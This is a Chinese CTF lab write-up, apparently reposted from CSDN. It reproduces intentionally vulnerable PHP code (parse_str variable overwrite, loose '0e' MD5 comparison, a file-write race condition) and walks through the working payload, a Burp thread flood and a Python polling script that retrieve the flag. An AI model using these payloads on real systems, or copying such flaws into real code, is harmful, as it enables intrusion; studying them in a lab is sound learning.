【红日Day7-CTF】parse_str函数缺陷漏洞

练习记录

复现代码:

index.php

<?php
$a = "hongri";
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    echo '<a href="flag.php">flag is here</a>';
}
?>

flag.php

// flag.php
<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
    $savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
    if (!is_dir($savepath)) {
        $oldmask = umask(0);
        mkdir($savepath, 0777);
        umask($oldmask);
    }
    if ((@$_GET['filename']) && (@$_GET['content'])) {
        //$fp = fopen("$savepath".$_GET['filename'], 'w');
        $content = 'HRCTF{y0u_n4ed_f4st}   by:l1nk3r';
        file_put_contents("$savepath" . $_GET['filename'], $content);
        $msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
        usleep(100000);
        $content = "Too slow!";
        file_put_contents("$savepath" . $_GET['filename'], $content);
    }
   print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
    echo 'you can not see this page';
}
?>

漏洞分析:

进入网站:

http://10.211.55.5/PHPcode/day7/index.php

在这里插入图片描述
发现页面正常,可以进行操作了。

index.php 第4行存在 @parse_str($id); 这个函数不会检查变量 $id 是否存在,如果通过其他方式传入数据给变量$id ,且当前$id中数据存在,它将会直接覆盖掉。而在第6行有一段这样代码。

if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {

PHP Hash比较存在缺陷 ,它把每一个以0E开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以0E开头的,那么PHP将会认为他们相同,都是0。而这里的 md5(‘QNKCDZO’)的结果是 0e830400451993494058024219903391。所以payload?id=a[0]=s878926199a。这样就可以在页面上回显。

http://10.211.55.5/PHPcode/day7/?id=a[0]=s878926199a

在这里插入图片描述
点击后进入flag.php
在这里插入图片描述
而这题真正的考察点在这里。在flag.php第三行第四行有这样两句代码如下:

$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {

这里有个 refer判断,判断refer是否存在,如果有就显示上传页面,如果没有,就返回 you can not see this page 。

据我们所知,通过a标签点击的链接,会自己自动携带上refer字段。然后 携带refer不携带refer,返回的结果不一样。
携带refer的情况:
在这里插入图片描述
不携带refer的情况:
在这里插入图片描述
然后在 flag.php 的第13行第18行有这样代码如下:

$content = 'HRCTF{y0u_n4ed_f4st}   by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);

这里有一句关键就是 usleep(100000); 这题需要在写入too slow之前,访问之前写入的文件,即可获得flag,这里就存在时间竞争问题。但是我们看到其实这里的文件夹路径是固定写死的。
在这里插入图片描述
直接访问会返回 too slow

在这里插入图片描述
因此这里的解法是,开Burp的200线程,一个不断发包
在这里插入图片描述
在这里插入图片描述

http://10.211.55.5/PHPcode/day7/flag.php?filename=flag&content=111

在这里插入图片描述
start attack 之前需要一个脚本不断请求下面这个链接

http://10.211.55.5/PHPcode/day7/uploads/57f26b8080252f52910b7ed53b7eefb0b17189a8/flag

脚本代码:

import requests as r
r1=r.Session()
while (1):
    r2=r1.get("http://10.211.55.5/PHPcode/day7/uploads/57f26b8080252f52910b7ed53b7eefb0b17189a8/flag")
    print (r2.text)
    pass

在爆破的同时访问页面,就能出现flag
在这里插入图片描述

发布了35 篇原创文章 · 获赞 19 · 访问量 5195

猜你喜欢

转载自blog.csdn.net/zhangpen130/article/details/103965191